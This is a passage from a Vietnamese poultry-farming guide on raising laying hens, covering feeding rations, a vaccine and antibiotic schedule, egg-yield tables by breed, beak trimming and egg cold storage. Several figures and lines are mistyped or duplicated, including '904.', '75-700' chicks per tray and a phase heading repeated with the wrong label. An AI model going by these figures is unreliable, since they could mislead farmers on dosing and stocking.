Mào, tích To, mềm, đỏ lông Nhỏ, nhạt màu, khô lông
Xương háng Dễ uốn, khoảng cách 2-3 ngón tay Cứng, khoảng cách hẹp hơn 2-3 ngón tay
Lông Đầy đủ, lông đuôi cong Rụng lông, hoặc xù lông
Lô huyệt To, nhờn ướt, cử động, màu nhạt Nhỏ, khô, màu đậm

     – Khẩu phần định lượng cho gà đẻ

Dùng máng ăn tròn đường kính 50cm với định mức 12 cm chiều dài máng ăn/gà ( khoảng 17 gà/ máng là hợp lý)

Sau tuần tuổi 22, cần phải tăng khẩu phần thức ăn cho gà tùy theo sức đẻ trứng có thể đến mức hầu như ăn tự do vì độ tuổi này gà khó có khả năng béo. Đặc biệt tới tuần 26-35 là thời điểm sản lượng trứng cao nhất và định lượng thức ăn phải nâng cao nhất. Sau đó định lượng thức ăn giảm dần theo sản lượng trứng. Tỷ lệ đẻ giảm 10% giảm 5g thức ăn/ gà/ ngày.

      – Máng uống: dùng máng tự động bảo đảm tối thiểu 2.5 cm chiều dài máng cho một gà.

– Máng uống bố trí đều trong chuồng để gà di chuyển tìm không quá 3m. Máng treo tầm ngang lưng gà, có hố thoát nước tràn. Ngày thay nước 3 lần.

      – Chăm sóc: Mật độ nuôi 4 gà/ m2 , đàn gà chia không quá 350 con/ đàn.

– Máng sỏi treo xen kẽ máng ăn, ngang tầm lưng gà thoe định mức 0.5 kg/gà/ tuần. Sào đậu với định mức 20 cm/gà. Bố trí 5 gà mái/ ổ đẻ, luôn có lớp phoi bào sạch khô đã được sát trùng.

Thu nhặt trứng cẩn thận, nhẹ nhàng. Cứ 2 giờ thu trứng 1 lần và chuyển ngay về kho và bảo quản ở nhiệt độ 15 0C

Bảng định lượng thức ăn cho gà đẻ

 

Tuần tuổi Khối lượng gà(g) KH/phần(g/gà/ngày) Thức ăn
21 1605 100 Hỗn hợp G712 hoặc đậm đặc G945
22 1615 105
23 1630 110
24 1640 115
25 1650 115
26 1670 115
27 1680 115
28 1690 115
29 1700 115
30 1750 115
40 1798 115
50 1800 115
60 1810 110
70 1820 110
74 1830 110

     – Phòng bệnh: gà đẻ phải phòng bệnh Marek, Newcastle(ND), Gumboro(IBD), Viêm phế quản truyền nhiễm (ILT), Hen gà( CRD) và hội chứng suy giảm đẻ( EDS’ 76)


    Chương trình phòng bệnh cho gà đẻ:

 

Tuổi Vaccine, thuốc Sử dụng
1 ngày IB H120, Marek Phun hoặc tiêm
1-5 ngày Phòng nhiễm khuẩn: Amoxicillin- Colistin Uống
7 ngày ND( kill)-1/2 liều; IB4/91+ ND Clone30 Tiêm nhỏ, uống
14 ngày Gumboro(228E); AI ½ liều(H5N1 or H5N2) Uống

tiêm

21 ngày Gumboro( D78) Uống
22-24 ngày Phòng cầu trùng: Amprolium Uống
4 tuần Coryza; Gentamycin 8mg/kg Tiêm
6 tuần ND(kill) ND+ IB Tiêm

Uống

8 tuần AI 1 liều ( H5N1 or H5N2) Tiêm
9 tuần Oxytracillin hoặc Erythromycin Uống trong 3 ngày
15 tuần Coryza; Gentamycin 8mg/kg ND+ IB hoặc ND+IB+EDS Killed Tiêm
17 tuần ND+IB+EDS killed Tiêm
19 tuần Lấy máu kiểm tra kháng thế New, cúm
20 tuần ND+IB (clone30+IB4/91)

AI 1 liều(H5N1 or H5N2)

Uống

Tiêm

25,35,45,55 tuần ND(clone30) Uống
30,40,50,60 tuần ND+IB(Mac5clone30) Uống

Ghi chú:

  • IB- Vaccin phòng bệnh Viêm phế quản truyền nhiễm
  • ND- Vaccin phòng bệnh Niw cat sơn
  • AI- Vaccin phòng bệnh cúm gia cầm
  • Coryza- Vaccin phòng bệnh đầu đen
  • EDS- Vaccin phòng hội chứng giảm đẻ

   


4, Bảng năng suất trứng một số giống gà đẻ

 

Tuổi ISA Brown Hisex Lohmann
Tuần % % %
18 2.0 6.0
19 17.2 16.0
20 40.0 36.0 20.0
21 65.0 66.0 40.0
22 84.0 88.0 71.8
23 91.0 93.0 87.1
24 93.0 94.5 92.2
25 94.0 95.0 94.3
26 95.0 95.0 94.5
27 95.0 95.0 94.5
28 95.0 95.0 94.5
29 94.7 94.7 94.3
30 94.5 94.5 94.3
31 94.3 94.3 94.2
32 94.1 94.1 94.1
33 93.9 93.9 94.0
34 93.6 93.6 93.8
35 93.3 93.3 93.5
36 93.0 93.0 93.2
37 92.7 92.7 92.9
38 92.5 92.5 92.6
39 92.2 92.2 92.2
40 91.9 91.9 91.9
41 91.6 91.6 91.6
42 91.3 91.3 91.3
43 91.0 91.0 91.0
44 90.7 90.7 90.7
45 904. 904. 90.4
46 90.0 90.0 90.1
47 89.6 89.6 89.9
48 89.2 89.2 89.5
49 88.8 88.8 89.2
50 88.3 88.3 88.8
51 87.8 87.8 88.4
52 87.3 87.3 87.8
53 86.8 86.8 87.3
54 86.3 86.3 86.8
55 85.8 85.8 86.3
56 85.3 85.3 85.8
57 84.8 84.8 85.3
58 84.3 84.3 84.8
59 83.8 83.8 84.3
60 83.3 83.3 83.7
61 82.7 82.7 83.2
62 82.1 82.1 82.7
63 81.6 81.6 82.2
64 81.0 81.0 81.7
65 80.5 80.5 81.2
66 79.7 79.7 80.7
67 78.9 78.9 80.2
68 78.2 78.2 79.6
69 77.4 77.4 79.1
70 76.6 76.6 78.6
71 75.8 75.8 78.1
72 75.0 75.0 77.6

 

IV. MỘT SỐ KINH NGHIỆM TRONG CHĂN NUÔI GÀ

  1. Chống nóng cho gà trong điều kiện nuôi quy mô nhỏ ở hộ dân nên như thế nào?

Đơn giản, rẻ tiền và hiệu quả cao nhất là dùng chuồng có mái lợp lá( hoặc cỏ tranh, rơm rạ), đồng thời kết hợp dùng quạt khi trời nóng và thiếu gió.

Khi nhiệt độ quá cao, có thể dùng bình phun đeo vai ( bình phun thuốc trừ sâu) để phun bụi nước lạnh khắp chuồng và trực tiếp vào gà. Cánh này ngăn chặn được tình trạng gà thịt sắp xuất chuồng bị chết nóng.

     2 .Dụng cụ dùng để nuôi gà gồm những gì, quy cách, định mức sử dụng?

Dụng cụ nuôi gà thông dụng trong điều kiện của ta phải có: các loại máng ăn, máng uống, chụp úm, quây úm, ổ đẻ

Đối với gà con trong 3-7 ngày đầu tập ăn bằng khay ( khay tôn, khay chất dẻo) hoặc bằng nia, cót có gờ 2 cm. Mỗi khay 50×60 cm đủ cho 75-700 gà con.

Máng uống bằng chất dẻo, loại 1-1.5 lít cho 20 gà, loại 3.5-4 lít cho 50-60 gà

Chụp úm và quây úm đủ cho 300-500 gà trong 2 tuần đầu. Chụp úm và quây úm đủ cho 300-500 gà trong 1- 2 tuần đầu. Chụp úm hình nón có đường kính 1.5 m có nguồn nhiệt là bóng đèn nóng. Quây dùng để giữ gà không đi xa chụp úm. Có thể dùng quây bằng cót tre có chiều cao 0.4m, dài tổng số 13-14 m có thể quây vòng tròn đường kính 4m.

Trong chăn nuôi nông hộ với số lượng ít, có thể quây úm với số lượng 150-200 gà, tiện cho việc chăm sóc và tiết kiệm được nhiệt.

Đối với gà 1-6 tuần tuổi, ăn bằng máng ăn dài với định mức mỗi gà 2-4 cm. Tức là máng ăn dài 1 mét cho 25-50 gà đứng hai bên. Nếu dùng loại máng trụ tròn nhỏ có đường kính 37 cm, mỗi máng 30-50 gà. Cả hai loại máng đều có chiều cao thành 5-6 cm.

Máng uống loại 3.5- 4 lít, mỗi máng cho 20-30 gà

Đối với gà giò 6-19 tuần tuổi, nên dùng máng ăn trụ tròn lớn có đường kính 42 cm, thành cao 8-9 cm với định mức 20-30 gà/ máng.

Máng uống dài có dòng nước chảy liên tục, với định mức 1 mét dài cho 80-100 gà đứng hai bên. Trường hợp đứng một bên, 1 mét/40-50 gà. Nếu dùng loại máng tự động bằng chất dẻo hình chuông đường kính 42 cm, mỗi máng cho 100 gà.

Đối với gà đẻ nuôi trên nền hoặc sàn, dùng máng ăn trụ tròn lớn như gà giò, nhưng với định mức 17-20 gà/máng.

Máng uống dài như của gà giò với định mức như thế hoặc ít gà hơn càng tốt. Đối với máng tự động hình chuông, định mức 70 gà/ máng.

Ổ đẻ có ngăn đẻ 30x30x sâu 35 cm, định mức mỗi ngăn 4-5 gà mái đẻ.

  1. Cắt mỏ gà, mục đích, yêu cầu và kỹ thuật cắt như thế nào?

Cắt mỏ gà là một biện pháp kỹ thuật không thể thiếu đối với ngành nuôi gà đẻ thương phần. Trong phương thức nuôi bằng chuồng lồng, thông thoáng tự nhiên của vùng khí hậu nóng, gà bao giờ cũng được cắt mỏ.

Mục đích của việc cắt mỏ là nhằm ngăn chặn tình trạng cắn mổ nhau, ăn thịt nhau. Khi nhiệt độ cao, ánh sáng gay gắt, sinh lý bị rối loạn, gà sẽ mổ cắn, lôi ruột nhau ra ăn. Chỉ vài giờ buổi trưa chúng có thể  để lại như một vụ dịch.

Ngoài ra, người ta cho rằng cắt mỏ sẽ giảm thức ăn rơi vãi khoảng 5%

+ Thời điểm cắt mỏ, chúng tôi đề nghị cắt hai lần: lần đầu lúc gà con được 7-10 ngày( một tuần), lần sau lúc gà 7-8 tuần( hai tháng)

Không nên cắt sớm dưới 7 ngày và cắt muộn sau 10 tuần tuổi

+ Gà cắt mỏ phải khỏe mạnh, không bị các yếu tố strees khác tác động. Cho gà uống nước có pha vitamin K( Menadion) với liều 3-5 mg/lít trong vài ba ngày trước và sau khi cắt mỏ.

Trước khi thao tác cắt, cho gà nhịn ăn vài giờ

+ Nên cắt mỏ bằng dụng cụ chuyên dùng, để vừa nhanh chóng, chính xác và tuyệt đối an toàn. Tuy nhiên, trong điều kiện không có dụng cụ chuyên có thể dùng dụng cụ tự tạo, dao nung đỏ bằng than để  cắt có hiệu quả tốt.

+ Đối với gà con 7-10 ngày, mỏ trên và mỏ dưới đưa qua lỗ cắt một lúc. Vết cắt cách lỗ mũi không được dưới 2 mm.

Đối với gà con 7-10 ngày, mỏ trên và mỏ dưới đưa qua lỗ cắt một lúc. Vết cắt cách lỗ mũi không được dưới 2 mm.

Đối với gà giò 8-10 tuần, vết cắt mỏ trên cách lỗ mũi 6 mm. Vết mỏ dưới xa hơn vết cắt mỏ trên 3 mm, tạo mỏ dưới dài hơn mỏ trên. Hai vết cắt đều vuông góc với trục mỏ.

Cũng có thể xác định vị trí căt mỏ trên ở giữa bờ lỗ mũi và chóp mỏ. Còn mỏ dưới cắt chừa dài hơn mỏ trên 3mm như trên.

Sau khi cắt xong, cho gà ăn ngay với khẩu phần tự do trong một tuần. Lớp thức ăn đổ dày, để gà không bị chạm mỏ vào thành máng

Tiếp tục pha vitamin K vào nước uống, có them 1 g Doxycillin/ 2 lít trong 4-6 ngày

Theo dõi, kịp thời phát hiện gà bị chảy máu để xử lý. Không dồn bắt, xao động đàn gà trong 1- 2 tuần sau khi cắt mỏ.

  1. Mật độ gà đẻ thương phẩm

Về mật độ gà đẻ thương phẩm có thể áp dụng định mức như sau:

– Chuồng nền: không quá 4-5 gà/m2

– Chuồng sàn tự tạo, máng ăn , máng uống bên ngoài: 8-10 gà/ m2

– Chuồng sàn tự tạo, máng ăn, máng uống bên ngoài: 8-10 gà/m2

– Chuồng lồng sàn nghiêng : 12-18 gà/m2 nền nhà, tùy gà lớn hay nhỏ mà bố trí lồng. Nếu dùng gà có kích thước 1.2 x 0.4 m, có 3 ngăn, mỗi ngăn có kích thước 0.4×0.4.x0.4 m. Mỗi lồng nuôi được 9 gà có tầm vóc nhỏ hoặc 6 gà có tầm vóc to hơn. Xếp chuồng so le hai tầng, bình quân mỗi m 2 nền được hai lồng, nuôi được 18 gà có tầm vóc nhỏ và 12 gà có tầm vóc to.

  1. Kỹ thuật điều tiết khẩu phần ăn đối với thời kỳ đẻ của gà?

Tùy theo tổ hợp gà, đỉnh cao của tỷ lệ đẻ thường vào tuần tuổi 26-35

– Giai đoạn trước đỉnh cao của tỷ lệ đẻ: Gà được ăn khẩu phần tăng nhanh khối lượng tới mức tối đa gần như tự do để gà vào đẻ sớm, đẻ rộ, nhanh chóng đạt đỉnh cao. Cách cho gà ăn đó gọi là cho ăn đón.

– Giai đoạn trước đỉnh cao của tỷ lệ đẻ: gà ăn theo khẩu phần định mức. Khi đạt được đỉnh cao, gà tiếp tục đẻ khả tốt và kéo dài trong một số tuần. Lúc này ta vẫn phải duy trì khẩu phần ăn tối đa. Về sau gà có xu hướng giảm dần tỷ lệ đẻ, phải giảm dần khẩu phần ăn, cứ thế cho đến khi ngừng khai thác. Việc giảm khẩu phần ăn tiến hành từ từ, bắt đầu sau khi gà giảm tỷ lệ đẻ 1-2 tuần. Việc này gọi là cho ăn đuổi( ăn giảm sau khi đẻ giảm)

  1. Kỹ thuật bảo quản thương phẩm như thế nào?

Việc bảo quản trứng đòi hỏi phải có kho lạnh đúng quy cách và áp dụng tốt quy trình kỹ thuật thu trứng, bảo quản

– Kho lạnh bảo quản trứng hiện đại: dùng bảo trứng tươi trong vài tháng thường phải có độ lạnh 00C. Nhiệt độ tuyệt hảo là -1 hoặc -1.5 0 C( dưới 00C). Ẩm độ tối thiểu đạt 80- 85% và tuyệt hảo là 90% đén bão hòa hơi nước. Người ta còn dùng khí Carbonic bơm vào kho lạnh với hàm lượng 50% để bảo quản trứng lâu hơn.

– Kỹ thuật bảo quản: bắt đầu từ khâu thu nhặt ( lượm trứng, chọn, làm mát, đưa vào kho lạnh bảo quản và đến khâu cuối cùng là đưa trứng ra khỏi kho lạnh. Có thể tóm tắt như sau: Trứng được đưa vào kho mát 15-160C, ẩm độ 85%. Sau đó hạ dần nhiệt độ từng bước xuống -1 đến -1.5 0C để bảo quản dài ngày. Khi chuyển trứng từ kho lạnh ra nhiệt độ môi trường cũng tiến hành từ từ, nếu không sẽ làm hỏng cấu trúc bên trong trứng. Bảo quản tốt, đúng quy trình sau vài tháng đến một năm trứng vẫn tươi nguyên.

Trong điều kiện bảo quản ngắn ngày( dưới một tháng chỉ cần nhiệt độ 10- 150 C, ẩm độ 85% là đủ. Khi đưa trứng ra ngoài môi trường cần qua kho mát 200C để trứng ấm dần, không bị đọng hơi nước.

0
Connecting
Please wait...
Send a message

Sorry, we aren't online at the moment. Leave a message.

Your name
* Email
* Describe your issue
Login now

Need more help? Save time by starting your support request online.

Your name
* Email
* Describe your issue
We're online!
Feedback

Help us help you better! Feel free to leave us any additional feedback.

How do you rate our support?